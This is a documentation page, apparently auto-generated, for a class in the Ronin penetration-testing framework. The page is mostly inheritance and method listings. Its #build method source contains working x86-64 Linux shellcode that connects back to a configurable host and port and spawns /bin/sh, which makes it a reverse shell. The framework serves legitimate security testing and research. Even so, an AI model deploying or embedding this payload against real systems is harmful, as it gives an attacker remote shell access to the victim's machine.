Class: Ronin::Payloads::Shellcode::Linux::X86_64::ReverseShell
- Inherits:
-
ReverseShellPayload
- Object
- Payload
- BinaryPayload
- ASMPayload
- Ronin::Payloads::ShellcodePayload
- ReverseShellPayload
- Ronin::Payloads::Shellcode::Linux::X86_64::ReverseShell
- Defined in:
- lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb
Overview
Linux x86-64 shellcode that spawns a connect back reverse shell.
Instance Attribute Summary
Attributes included from Mixins::PostEx
Attributes inherited from Payload
Instance Method Summary collapse
-
#build ⇒ Object
Builds the shellcode.
Methods inherited from ReverseShellPayload
#packed_ipv4, #packed_ipv6, #packed_port
Methods included from Mixins::Network
#pack_ipv4, #pack_ipv6, #pack_port
Methods included from Mixins::ResolveHost
#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses
Methods included from Mixins::ReverseShell
#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port
Methods included from Mixins::PostEx
Methods inherited from Ronin::Payloads::ShellcodePayload
Methods inherited from ASMPayload
#assemble, assembler, payload_type
Methods included from Metadata::OS
Methods included from Metadata::Arch
Methods inherited from BinaryPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the shellcode.
54 55 56 57 58 59 60 61 62 63 |
# File 'lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb', line 54 def build @payload = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" \ "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" \ "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" \ "\x02#{packed_port}\xc7\x44\x24\x04#{packed_ipv4}\x48\x89\xe6\x6a\x10" \ "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \ "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \ "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \ "\x5f\x6a\x3b\x58\x0f\x05" end |